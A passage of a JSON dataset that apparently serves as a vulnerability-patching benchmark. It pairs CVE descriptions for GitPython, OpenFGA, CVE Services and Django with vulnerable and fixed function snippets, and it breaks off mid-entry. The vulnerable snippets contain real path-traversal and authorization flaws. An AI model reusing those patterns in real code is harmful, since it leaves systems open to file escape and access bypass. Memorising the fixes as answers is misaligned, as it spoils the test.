        "cve_description": "GitPython is a python library used to interact with Git repositories. In order to resolve some git references, GitPython reads files from the `.git` directory, in some places the name of the file being read is provided by the user, GitPython doesn't check if this file is located outside the `.git` directory. This allows an attacker to make GitPython read any file from the system. This vulnerability is present in https://github.com/gitpython-developers/GitPython/blob/1c8310d7cae144f74a671cbe17e51f63a830adbf/git/refs/symbolic.py#L174-L175. That code joins the base directory with a user given string without checking if the final path is located outside the base directory. This vulnerability cannot be used to read the contents of files but could in theory be used to trigger a denial of service for the program. This issue has been addressed in version 3.1.37.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/gitpython-developers/GitPython",
        "patch_url": [
            "https://github.com/gitpython-developers/GitPython/commit/74e55ee4544867e1bd976b7df5a45869ee397b0b",
            "https://github.com/gitpython-developers/GitPython/commit/e98f57b81f792f0f5e18d33ee658ae395f9aa3c4"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_59_1",
                "commit": "1774f1e",
                "file_path": "git/refs/symbolic.py",
                "start_line": 165,
                "end_line": 205,
                "snippet": "    def _get_ref_info_helper(\n        cls, repo: \"Repo\", ref_path: Union[PathLike, None]\n    ) -> Union[Tuple[str, None], Tuple[None, str]]:\n        \"\"\"Return: (str(sha), str(target_ref_path)) if available, the sha the file at\n        rela_path points to, or None. target_ref_path is the reference we\n        point to, or None\"\"\"\n        if \"..\" in str(ref_path):\n            raise ValueError(f\"Invalid reference '{ref_path}'\")\n        tokens: Union[None, List[str], Tuple[str, str]] = None\n        repodir = _git_dir(repo, ref_path)\n        try:\n            with open(os.path.join(repodir, str(ref_path)), \"rt\", encoding=\"UTF-8\") as fp:\n                value = fp.read().rstrip()\n            # Don't only split on spaces, but on whitespace, which allows to parse lines like\n            # 60b64ef992065e2600bfef6187a97f92398a9144                branch 'master' of git-server:/path/to/repo\n            tokens = value.split()\n            assert len(tokens) != 0\n        except OSError:\n            # Probably we are just packed, find our entry in the packed refs file\n            # NOTE: We are not a symbolic ref if we are in a packed file, as these\n            # are excluded explicitly\n            for sha, path in cls._iter_packed_refs(repo):\n                if path != ref_path:\n                    continue\n                # sha will be used\n                tokens = sha, path\n                break\n            # END for each packed ref\n        # END handle packed refs\n        if tokens is None:\n            raise ValueError(\"Reference at %r does not exist\" % ref_path)\n\n        # is it a reference ?\n        if tokens[0] == \"ref:\":\n            return (None, tokens[1])\n\n        # its a commit\n        if repo.re_hexsha_only.match(tokens[0]):\n            return (tokens[0], None)\n\n        raise ValueError(\"Failed to parse reference information from %r\" % ref_path)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            7,
                            8
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_59_1",
                "commit": "e98f57b81f792f0f5e18d33ee658ae395f9aa3c4",
                "file_path": "git/refs/symbolic.py",
                "start_line": 210,
                "end_line": 241,
                "snippet": "    def _get_ref_info_helper(\n        cls, repo: \"Repo\", ref_path: Union[PathLike, None]\n    ) -> Union[Tuple[str, None], Tuple[None, str]]:\n        \"\"\"Return: (str(sha), str(target_ref_path)) if available, the sha the file at\n        rela_path points to, or None. target_ref_path is the reference we\n        point to, or None\"\"\"\n        if ref_path:\n            cls._check_ref_name_valid(ref_path)\n\n        tokens: Union[None, List[str], Tuple[str, str]] = None\n        repodir = _git_dir(repo, ref_path)\n        try:\n            with open(os.path.join(repodir, str(ref_path)), \"rt\", encoding=\"UTF-8\") as fp:\n                value = fp.read().rstrip()\n            # Don't only split on spaces, but on whitespace, which allows to parse lines like\n            # 60b64ef992065e2600bfef6187a97f92398a9144                branch 'master' of git-server:/path/to/repo\n            tokens = value.split()\n            assert len(tokens) != 0\n        except OSError:\n            # Probably we are just packed, find our entry in the packed refs file\n            # NOTE: We are not a symbolic ref if we are in a packed file, as these\n            # are excluded explicitly\n            for sha, path in cls._iter_packed_refs(repo):\n                if path != ref_path:\n                    continue\n                # sha will be used\n                tokens = sha, path\n                break\n            # END for each packed ref\n        # END handle packed refs\n        if tokens is None:\n            raise ValueError(\"Reference at %r does not exist\" % ref_path)"
            },
            {
                "id": "fix_py_59_2",
                "commit": "e98f57b81f792f0f5e18d33ee658ae395f9aa3c4",
                "file_path": "git/refs/symbolic.py",
                "start_line": 164,
                "end_line": 208,
                "snippet": "    @staticmethod\n    def _check_ref_name_valid(ref_path: PathLike) -> None:\n        # Based on the rules described in https://git-scm.com/docs/git-check-ref-format/#_description\n        previous: Union[str, None] = None\n        one_before_previous: Union[str, None] = None\n        for c in str(ref_path):\n            if c in \" ~^:?*[\\\\\":\n                raise ValueError(\n                    f\"Invalid reference '{ref_path}': references cannot contain spaces, tildes (~), carets (^),\"\n                    f\" colons (:), question marks (?), asterisks (*), open brackets ([) or backslashes (\\\\)\"\n                )\n            elif c == \".\":\n                if previous is None or previous == \"/\":\n                    raise ValueError(\n                        f\"Invalid reference '{ref_path}': references cannot start with a period (.) or contain '/.'\"\n                    )\n                elif previous == \".\":\n                    raise ValueError(f\"Invalid reference '{ref_path}': references cannot contain '..'\")\n            elif c == \"/\":\n                if previous == \"/\":\n                    raise ValueError(f\"Invalid reference '{ref_path}': references cannot contain '//'\")\n                elif previous is None:\n                    raise ValueError(\n                        f\"Invalid reference '{ref_path}': references cannot start with forward slashes '/'\"\n                    )\n            elif c == \"{\" and previous == \"@\":\n                raise ValueError(f\"Invalid reference '{ref_path}': references cannot contain '@{{'\")\n            elif ord(c) < 32 or ord(c) == 127:\n                raise ValueError(f\"Invalid reference '{ref_path}': references cannot contain ASCII control characters\")\n\n            one_before_previous = previous\n            previous = c\n\n        if previous == \".\":\n            raise ValueError(f\"Invalid reference '{ref_path}': references cannot end with a period (.)\")\n        elif previous == \"/\":\n            raise ValueError(f\"Invalid reference '{ref_path}': references cannot end with a forward slash (/)\")\n        elif previous == \"@\" and one_before_previous is None:\n            raise ValueError(f\"Invalid reference '{ref_path}': references cannot be '@'\")\n        elif any([component.endswith(\".lock\") for component in str(ref_path).split(\"/\")]):\n            raise ValueError(\n                f\"Invalid reference '{ref_path}': references cannot have slash-separated components that end with\"\n                f\" '.lock'\"\n            )\n"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2023-41040"
    },
    {
        "cve_id": "CVE-2025-46331",
        "cve_description": "OpenFGA's CachedCheckResolver can incorrectly treat cycle-dependent Check results as reusable, context-independent authorization decisions. When an authorization model and relationship tuples create recursive or cyclic relationships, a Check or ListObjects evaluation may reach the same tuple subproblem under different path-sensitive evaluation contexts, including different visited-path/cycle state or recursion depth metadata. A result produced while a cycle was detected may be valid only for the parent resolution context that produced it, whether the result is allowed or denied, and must not be reused to decide a later evaluation context where the same tuple subproblem has different cycle semantics.\n\nAn attacker who can influence authorization models, relationship tuples, or requests that trigger cyclic relationship evaluation can cause a stale cycle-dependent Check result to be reused across Check/ListObjects resolution paths. This can incorrectly grant access that should be denied, resulting in an authorization bypass, and can also produce other incorrect authorization decisions.",
        "cwe_info": {
            "CWE-284": {
                "name": "Improper Access Control",
                "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."
            }
        },
        "repo": "https://github.com/openfga/openfga",
        "patch_url": [
            "https://github.com/openfga/openfga/commit/244302e7a8b979d66cc1874a3899cdff7d47862f"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_67_1",
                "commit": "1486ac4",
                "file_path": "internal/graph/cached_resolver.go",
                "start_line": 145,
                "end_line": 194,
                "snippet": "func (c *CachedCheckResolver) ResolveCheck(\n\tctx context.Context,\n\treq *ResolveCheckRequest,\n) (*ResolveCheckResponse, error) {\n\tspan := trace.SpanFromContext(ctx)\n\n\tcacheKey := BuildCacheKey(*req)\n\n\ttryCache := req.Consistency != openfgav1.ConsistencyPreference_HIGHER_CONSISTENCY\n\n\tif tryCache {\n\t\tcheckCacheTotalCounter.Inc()\n\t\tif cachedResp := c.cache.Get(cacheKey); cachedResp != nil {\n\t\t\tres := cachedResp.(*CheckResponseCacheEntry)\n\t\t\tisValid := res.LastModified.After(req.LastCacheInvalidationTime)\n\t\t\tc.logger.Debug(\"CachedCheckResolver found cache key\",\n\t\t\t\tzap.String(\"store_id\", req.GetStoreID()),\n\t\t\t\tzap.String(\"authorization_model_id\", req.GetAuthorizationModelID()),\n\t\t\t\tzap.String(\"tuple_key\", req.GetTupleKey().String()),\n\t\t\t\tzap.Bool(\"isValid\", isValid))\n\n\t\t\tspan.SetAttributes(attribute.Bool(\"cached\", isValid))\n\t\t\tif isValid {\n\t\t\t\tcheckCacheHitCounter.Inc()\n\t\t\t\t// return a copy to avoid races across goroutines\n\t\t\t\treturn res.CheckResponse.clone(), nil\n\t\t\t}\n\n\t\t\t// we tried the cache and hit an invalid entry\n\t\t\tcheckCacheInvalidHit.Inc()\n\t\t} else {\n\t\t\tc.logger.Debug(\"CachedCheckResolver not found cache key\",\n\t\t\t\tzap.String(\"store_id\", req.GetStoreID()),\n\t\t\t\tzap.String(\"authorization_model_id\", req.GetAuthorizationModelID()),\n\t\t\t\tzap.String(\"tuple_key\", req.GetTupleKey().String()))\n\t\t}\n\t}\n\n\t// not in cache, or consistency options experimental flag is set, and consistency param set to HIGHER_CONSISTENCY\n\tresp, err := c.delegate.ResolveCheck(ctx, req)\n\tif err != nil {\n\t\ttelemetry.TraceError(span, err)\n\t\treturn nil, err\n\t}\n\n\tclonedResp := resp.clone()\n\n\tc.cache.Set(cacheKey, &CheckResponseCacheEntry{LastModified: time.Now(), CheckResponse: clonedResp}, c.cacheTTL)\n\treturn resp, nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            45
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_67_1",
                "commit": "244302e",
                "file_path": "internal/graph/cached_resolver.go",
                "start_line": 145,
                "end_line": 206,
                "snippet": "func (c *CachedCheckResolver) ResolveCheck(\n\tctx context.Context,\n\treq *ResolveCheckRequest,\n) (*ResolveCheckResponse, error) {\n\tspan := trace.SpanFromContext(ctx)\n\n\tcacheKey := BuildCacheKey(*req)\n\n\ttryCache := req.Consistency != openfgav1.ConsistencyPreference_HIGHER_CONSISTENCY\n\n\tif tryCache {\n\t\tcheckCacheTotalCounter.Inc()\n\t\tif cachedResp := c.cache.Get(cacheKey); cachedResp != nil {\n\t\t\tres := cachedResp.(*CheckResponseCacheEntry)\n\t\t\tisValid := res.LastModified.After(req.LastCacheInvalidationTime)\n\t\t\tc.logger.Debug(\"CachedCheckResolver found cache key\",\n\t\t\t\tzap.String(\"store_id\", req.GetStoreID()),\n\t\t\t\tzap.String(\"authorization_model_id\", req.GetAuthorizationModelID()),\n\t\t\t\tzap.String(\"tuple_key\", req.GetTupleKey().String()),\n\t\t\t\tzap.Bool(\"isValid\", isValid))\n\n\t\t\tspan.SetAttributes(attribute.Bool(\"cached\", isValid))\n\t\t\tif isValid {\n\t\t\t\tcheckCacheHitCounter.Inc()\n\t\t\t\t// return a copy to avoid races across goroutines\n\t\t\t\treturn res.CheckResponse.clone(), nil\n\t\t\t}\n\n\t\t\t// we tried the cache and hit an invalid entry\n\t\t\tcheckCacheInvalidHit.Inc()\n\t\t} else {\n\t\t\tc.logger.Debug(\"CachedCheckResolver not found cache key\",\n\t\t\t\tzap.String(\"store_id\", req.GetStoreID()),\n\t\t\t\tzap.String(\"authorization_model_id\", req.GetAuthorizationModelID()),\n\t\t\t\tzap.String(\"tuple_key\", req.GetTupleKey().String()))\n\t\t}\n\t}\n\n\t// not in cache, or consistency options experimental flag is set, and consistency param set to HIGHER_CONSISTENCY\n\tresp, err := c.delegate.ResolveCheck(ctx, req)\n\tif err != nil {\n\t\ttelemetry.TraceError(span, err)\n\t\treturn nil, err\n\t}\n\n\t// when the response indicates cycle detected. The result is indeterminate because the\n\t// parent of the cycle could have resolved to true. Thus, we don't save the result and let\n\t// the parent handle it.\n\tif resp.GetCycleDetected() {\n\t\tspan.SetAttributes(attribute.Bool(\"cycle_detected\", true))\n\t\tc.logger.Debug(\"CachedCheckResolver not saving to cache due to cycle\",\n\t\t\tzap.String(\"store_id\", req.GetStoreID()),\n\t\t\tzap.String(\"authorization_model_id\", req.GetAuthorizationModelID()),\n\t\t\tzap.String(\"tuple_key\", req.GetTupleKey().String()))\n\t\treturn resp, nil\n\t}\n\n\tclonedResp := resp.clone()\n\n\tc.cache.Set(cacheKey, &CheckResponseCacheEntry{LastModified: time.Now(), CheckResponse: clonedResp}, c.cacheTTL)\n\treturn resp, nil\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2025-46331"
    },
    {
        "cve_id": "CVE-2021-46561",
        "cve_description": "controller/org.controller/org.controller.js in the CVE Services API 1.1.1 before 5c50baf3bda28133a3bc90b854765a64fb538304 allows an organizational administrator to transfer a user account to an arbitrary new organization, and thereby achieve unintended access within the context of that new organization.",
        "cwe_info": {
            "CWE-863": {
                "name": "Incorrect Authorization",
                "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."
            }
        },
        "repo": "https://github.com/CVEProject/cve-services",
        "patch_url": [
            "https://github.com/CVEProject/cve-services/commit/5c50baf3bda28133a3bc90b854765a64fb538304"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_52_1",
                "commit": "7bd7989",
                "file_path": "src/controller/org.controller/org.controller.js",
                "start_line": 496,
                "end_line": 532,
                "snippet": "    Object.keys(req.ctx.query).forEach(k => {\n      const key = k.toLowerCase()\n\n      if (key === 'new_username') {\n        newUser.username = req.ctx.query.new_username\n      } else if (key === 'org_shortname') {\n        newOrgShortName = req.ctx.query.org_shortname\n        changesRequirePrivilegedRole = true\n      } else if (key === 'name.first') {\n        newUser.name.first = req.ctx.query['name.first']\n      } else if (key === 'name.last') {\n        newUser.name.last = req.ctx.query['name.last']\n      } else if (key === 'name.middle') {\n        newUser.name.middle = req.ctx.query['name.middle']\n      } else if (key === 'name.suffix') {\n        newUser.name.suffix = req.ctx.query['name.suffix']\n      } else if (key === 'name.surname') {\n        newUser.name.surname = req.ctx.query['name.surname']\n      } else if (key === 'active') {\n        newUser.active = req.ctx.query.active\n        changesRequirePrivilegedRole = true\n      } else if (key === 'active_roles.add') {\n        if (Array.isArray(req.ctx.query['active_roles.add'])) {\n          req.ctx.query['active_roles.add'].forEach(r => {\n            addRoles.push(r)\n          })\n          changesRequirePrivilegedRole = true\n        }\n      } else if (key === 'active_roles.remove') {\n        if (Array.isArray(req.ctx.query['active_roles.remove'])) {\n          req.ctx.query['active_roles.remove'].forEach(r => {\n            removeRoles.push(r)\n          })\n          changesRequirePrivilegedRole = true\n        }\n      }\n    })",
                "vul_localization": [
                    {
                        "patch_lines": [
                            9
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_52_2",
                "commit": "5c50baf",
                "file_path": "src/controller/org.controller/error.js",
                "start_line": 25,
                "end_line": 31,
                "snippet": "  notAllowedToChangeOrganization () {\n    const err = {}\n    err.error = 'NOT_ALLOWED_TO_CHANGE_ORGANIZATION'\n    err.message = 'Only the Secretariat can change the organization for a user.'\n    return err\n  }\n"
            },
            {
                "id": "fix_js_52_1",
                "commit": "5c50baf",
                "file_path": "src/controller/org.controller/org.controller.js",
                "start_line": 459,
                "end_line": 628,
                "snippet": "async function updateUser (req, res, next) {\n  try {\n    const requesterShortName = req.ctx.org\n    const requesterUsername = req.ctx.user\n    const username = req.ctx.params.username\n    const shortName = req.ctx.params.shortname\n    const newUser = new User()\n    let newOrgShortName\n    let changesRequirePrivilegedRole // Set variable to true if protected fields are being modified\n    const removeRoles = []\n    const addRoles = []\n    const userRepo = req.ctx.repositories.getUserRepository()\n    const orgRepo = req.ctx.repositories.getOrgRepository()\n    const orgUUID = await orgRepo.getOrgUUID(shortName)\n    const isSecretariat = await orgRepo.isSecretariat(requesterShortName)\n    const isAdmin = await userRepo.isAdmin(requesterUsername, requesterShortName) // Check if requester is Admin of the designated user's org\n\n    if (!orgUUID) {\n      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + shortName + ' organization does not exist.' })\n      return res.status(404).json(error.orgDneParam(shortName))\n    }\n\n    const user = await userRepo.findOneByUserNameAndOrgUUID(username, orgUUID)\n    if (!user) {\n      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + username + ' does not exist for ' + shortName + ' organization.' })\n      return res.status(404).json(error.userDne(username))\n    }\n\n    // check if the user is not the requester or if the requester is not a secretariat\n    if ((shortName !== requesterShortName || username !== requesterUsername) && !isSecretariat) {\n      // check if the requester is not and admin; if admin, the requester must be from the same org as the user\n      if (!isAdmin || (isAdmin && shortName !== requesterShortName)) {\n        logger.info({ uuid: req.ctx.uuid, message: 'The user can only be updated by the Secretariat, an Org admin or if the requester is the user.' })\n        return res.status(403).json(error.notSameUserOrSecretariat())\n      }\n    }\n\n    Object.keys(req.ctx.query).forEach(k => {\n      const key = k.toLowerCase()\n\n      if (key === 'new_username') {\n        newUser.username = req.ctx.query.new_username\n      } else if (key === 'org_shortname') {\n        newOrgShortName = req.ctx.query.org_shortname\n        changesRequirePrivilegedRole = true\n        if (!isSecretariat) {\n          logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + requesterUsername + ' is an Org Admin and tried to reassign the organization.' })\n          return res.status(403).json(error.notAllowedToChangeOrganization())\n        }\n      } else if (key === 'name.first') {\n        newUser.name.first = req.ctx.query['name.first']\n      } else if (key === 'name.last') {\n        newUser.name.last = req.ctx.query['name.last']\n      } else if (key === 'name.middle') {\n        newUser.name.middle = req.ctx.query['name.middle']\n      } else if (key === 'name.suffix') {\n        newUser.name.suffix = req.ctx.query['name.suffix']\n      } else if (key === 'name.surname') {\n        newUser.name.surname = req.ctx.query['name.surname']\n      } else if (key === 'active') {\n        newUser.active = req.ctx.query.active\n        changesRequirePrivilegedRole = true\n      } else if (key === 'active_roles.add') {\n        if (Array.isArray(req.ctx.query['active_roles.add'])) {\n          req.ctx.query['active_roles.add'].forEach(r => {\n            addRoles.push(r)\n          })\n          changesRequirePrivilegedRole = true\n        }\n      } else if (key === 'active_roles.remove') {\n        if (Array.isArray(req.ctx.query['active_roles.remove'])) {\n          req.ctx.query['active_roles.remove'].forEach(r => {\n            removeRoles.push(r)\n          })\n          changesRequirePrivilegedRole = true\n        }\n      }\n    })\n\n    // updating user's roles and org_uuid is only allowed for secretariats and org admins\n    if (changesRequirePrivilegedRole && !(isAdmin || isSecretariat)) {\n      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + requesterUsername + ' user is not Org Admin or Secretariat to modify these fields.' })\n      return res.status(403).json(error.notOrgAdminOrSecretariat())\n    }\n\n    // check if the new org exist\n    if (newOrgShortName) {\n      newUser.org_UUID = await orgRepo.getOrgUUID(newOrgShortName)\n\n      if (!newUser.org_UUID) {\n        logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + newOrgShortName + ' organization does not exist.' })\n        return res.status(404).json(error.orgDne(newOrgShortName))\n      }\n    }\n\n    let agt = setAggregateUserObj({ username: username, org_UUID: orgUUID })\n\n    // check if org has user of same username already\n    if (newUser.username && newUser.org_UUID) {\n      agt = setAggregateUserObj({ username: newUser.username, org_UUID: newUser.org_UUID })\n      const duplicateUsers = await userRepo.find({ org_UUID: newUser.org_UUID, username: newUser.username })\n      if (duplicateUsers.length) {\n        logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + newOrgShortName + ' organization contains a user with the same username.' })\n        return res.status(403).json(error.duplicateUsername(newOrgShortName, newUser.username))\n      }\n    } else if (newUser.username) {\n      agt = setAggregateUserObj({ username: newUser.username, org_UUID: orgUUID })\n      const duplicateUsers = await userRepo.find({ org_UUID: orgUUID, username: newUser.username })\n      if (duplicateUsers.length) {\n        logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + shortName + ' organization contains a user with the same username.' })\n        return res.status(403).json(error.duplicateUsername(shortName, newUser.username))\n      }\n    } else if (newUser.org_UUID) {\n      agt = setAggregateUserObj({ username: username, org_UUID: newUser.org_UUID })\n      const duplicateUsers = await userRepo.find({ org_UUID: newUser.org_UUID, username: username })\n      if (duplicateUsers.length) {\n        logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + newOrgShortName + ' organization contains a user with the same username.' })\n        return res.status(403).json(error.duplicateUsername(newOrgShortName, username))\n      }\n    }\n\n    // updating the user's roles\n    const roles = user.authority.active_roles\n\n    // adding roles\n    addRoles.forEach(role => {\n      if (!roles.includes(role)) {\n        roles.push(role)\n      }\n    })\n\n    // removing roles\n    removeRoles.forEach(role => {\n      const index = roles.indexOf(role)\n\n      if (index > -1) {\n        roles.splice(index, 1)\n      }\n    })\n\n    newUser.authority.active_roles = roles\n\n    let result = await userRepo.updateByUserNameAndOrgUUID(username, orgUUID, newUser)\n    if (result.n === 0) {\n      logger.info({ uuid: req.ctx.uuid, message: 'The user could not be updated because ' + username + ' does not exist for ' + shortName + ' organization.' })\n      return res.status(404).json(error.userDne(username))\n    }\n\n    result = await userRepo.aggregate(agt)\n    result = result.length > 0 ? result[0] : null\n\n    const responseMessage = {\n      message: username + ' was successfully updated.',\n      updated: result\n    }\n\n    const payload = {\n      action: 'update_user',\n      change: username + ' was successfully updated.',\n      req_UUID: req.ctx.uuid,\n      org_UUID: await orgRepo.getOrgUUID(req.ctx.org),\n      user: result\n    }\n    payload.user_UUID = await userRepo.getUserUUID(req.ctx.user, payload.org_UUID)\n    logger.info(JSON.stringify(payload))\n    return res.status(200).json(responseMessage)\n  } catch (err) {\n    next(err)\n  }\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2021-46561"
    },
    {
        "cve_id": "CVE-2021-45452",
        "cve_description": "Django's file storage save path is vulnerable to directory traversal when Storage.save() processes unsafe storage names without adequately confining them to the storage namespace. An attacker or application input that controls the filename passed to save operations may supply absolute paths, parent-directory components, or platform-specific separator variants that could cause a concrete storage backend such as FileSystemStorage to write outside its configured storage root. In addition, Storage.save() must not trust an unsafe name reported back by the storage backend's _save() implementation, because returning an absolute or parent-traversal storage name can expose an escaped path to callers and downstream code. The security impact is unauthorized file creation or path exposure outside the intended media/storage location.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/django/django",
        "patch_url": [
            "https://github.com/django/django/commit/e1592e0f26302e79856cc7f2218ae848ae19b0f6",
            "https://github.com/django/django/commit/4cb35b384ceef52123fc66411a73c36a706825e1",
            "https://github.com/django/django/commit/8d2f7cff76200cbd2337b2cf1707e383eb1fb54b"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_11_1",
                "commit": "c9f648c",
                "file_path": "django/core/files/storage.py",
                "start_line": 40,
                "end_line": 54,
                "snippet": "    def save(self, name, content, max_length=None):\n        \"\"\"\n        Save new content to the file specified by name. The content should be\n        a proper File object or any Python file-like object, ready to be read\n        from the beginning.\n        \"\"\"\n        # Get the proper name for the file, as it will actually be saved.\n        if name is None:\n            name = content.name\n\n        if not hasattr(content, 'chunks'):\n            content = File(content, name)\n\n        name = self.get_available_name(name, max_length=max_length)\n        return self._save(name, content)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            15
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_py_11_2",
                "commit": "c9f648c",
                "file_path": "django/core/files/storage.py",
                "start_line": 65,
                "end_line": 97,
                "snippet": "    def get_available_name(self, name, max_length=None):\n        \"\"\"\n        Return a filename that's free on the target storage system and\n        available for new content to be written to.\n        \"\"\"\n        dir_name, file_name = os.path.split(name)\n        if '..' in pathlib.PurePath(dir_name).parts:\n            raise SuspiciousFileOperation(\"Detected path traversal attempt in '%s'\" % dir_name)\n        validate_file_name(file_name)\n        file_root, file_ext = os.path.splitext(file_name)\n        # If the filename already exists, add an underscore and a random 7\n        # character alphanumeric string (before the file extension, if one\n        # exists) to the filename until the generated filename doesn't exist.\n        # Truncate original name if required, so the new filename does not\n        # exceed the max_length.\n        while self.exists(name) or (max_length and len(name) > max_length):\n            # file_ext includes the dot.\n            name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n            if max_length is None:\n                continue\n            # Truncate file_root if max_length exceeded.\n            truncation = len(name) - max_length\n            if truncation > 0:\n                file_root = file_root[:-truncation]\n                # Entire file_root was truncated in attempt to find an available filename.\n                if not file_root:\n                    raise SuspiciousFileOperation(\n                        'Storage can not find an available filename for \"%s\". '\n                        'Please make sure that the corresponding file field '\n                        'allows sufficient \"max_length\".' % name\n                    )\n                name = os.path.join(dir_name, \"%s_%s%s\" % (file_root, get_random_string(7), file_ext))\n        return name",
                "vul_localization": [
                    {
                        "patch_lines": [
                            5
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_py_11_3",
                "commit": "c9f648c",
                "file_path": "django/core/files/storage.py",
                "start_line": 99,
                "end_line": 108,
                "snippet": "    def generate_filename(self, filename):\n        \"\"\"\n        Validate the filename by calling get_valid_name() and return a filename\n        to be passed to the save() method.\n        \"\"\"\n        # `filename` may include a path as returned by FileField.upload_to.\n        dirname, filename = os.path.split(filename)\n        if '..' in pathlib.PurePath(dirname).parts:\n            raise SuspiciousFileOperation(\"Detected path traversal attempt in '%s'\" % dirname)\n        return os.path.normpath(os.path.join(dirname, self.get_valid_name(filename)))",
                "vul_localization": [
                    {
                        "patch_lines": [
                            5
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_py_11_4",
                "commit": "c9f648c",
                "file_path": "django/core/files/storage.py",
                "start_line": 233,
                "end_line": 300,
                "snippet": "    def _save(self, name, content):\n        full_path = self.path(name)\n\n        # Create any intermediate directories that do not exist.\n        directory = os.path.dirname(full_path)\n        if not os.path.exists(directory):\n            try:\n                if self.directory_permissions_mode is not None:\n                    # Set the umask because os.makedirs() doesn't apply the \"mode\"\n                    # argument to intermediate-level directories.\n                    old_umask = os.umask(0o777 & ~self.directory_permissions_mode)\n                    try:\n                        os.makedirs(directory, self.directory_permissions_mode)\n                    finally:\n                        os.umask(old_umask)\n                else:\n                    os.makedirs(directory)\n            except FileExistsError:\n                # There's a race between os.path.exists() and os.makedirs().\n                # If os.makedirs() fails with FileExistsError, the directory\n                # was created concurrently.\n                pass\n        if not os.path.isdir(directory):\n            raise IOError(\"%s exists and is not a directory.\" % directory)\n\n        # There's a potential race condition between get_available_name and\n        # saving the file; it's possible that two threads might return the\n        # same name, at which point all sorts of fun happens. So we need to\n        # try to create the file, but if it already exists we have to go back\n        # to get_available_name() and try again.\n\n        while True:\n            try:\n                # This file has a file path that we can move.\n                if hasattr(content, 'temporary_file_path'):\n                    file_move_safe(content.temporary_file_path(), full_path)\n\n                # This is a normal uploadedfile that we can stream.\n                else:\n                    # The current umask value is masked out by os.open!\n                    fd = os.open(full_path, self.OS_OPEN_FLAGS, 0o666)\n                    _file = None\n                    try:\n                        locks.lock(fd, locks.LOCK_EX)\n                        for chunk in content.chunks():\n                            if _file is None:\n                                mode = 'wb' if isinstance(chunk, bytes) else 'wt'\n                                _file = os.fdopen(fd, mode)\n                            _file.write(chunk)\n                    finally:\n                        locks.unlock(fd)\n                        if _file is not None:\n                            _file.close()\n                        else:\n                            os.close(fd)\n            except FileExistsError:\n                # A new name is needed if the file exists.\n                name = self.get_available_name(name)\n                full_path = self.path(name)\n            else:\n                # OK, the file save worked. Break out of the loop.\n                break\n\n        if self.file_permissions_mode is not None:\n            os.chmod(full_path, self.file_permissions_mode)\n\n        # Store filenames with forward slashes, even on Windows.\n        return name.replace('\\\\', '/')",
                "vul_localization": [
                    {
                        "patch_lines": [
                            66
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_11_1",
                "commit": "4cb35b3",
                "file_path": "django/core/files/storage.py",
                "start_line": 40,
                "end_line": 57,
                "snippet": "    def save(self, name, content, max_length=None):\n        \"\"\"\n        Save new content to the file specified by name. The content should be\n        a proper File object or any Python file-like object, ready to be read\n        from the beginning.\n        \"\"\"\n        # Get the proper name for the file, as it will actually be saved.\n        if name is None:\n            name = content.name\n\n        if not hasattr(content, 'chunks'):\n            content = File(content, name)\n\n        name = self.get_available_name(name, max_length=max_length)\n        name = self._save(name, content)\n        # Ensure that the name returned from the storage system is still valid.\n        validate_file_name(name, allow_relative_path=True)\n        return name"
            },
            {
                "id": "fix_py_11_2",
                "commit": "4cb35b3",
                "file_path": "django/core/files/storage.py",
                "start_line": 68,
                "end_line": 101,
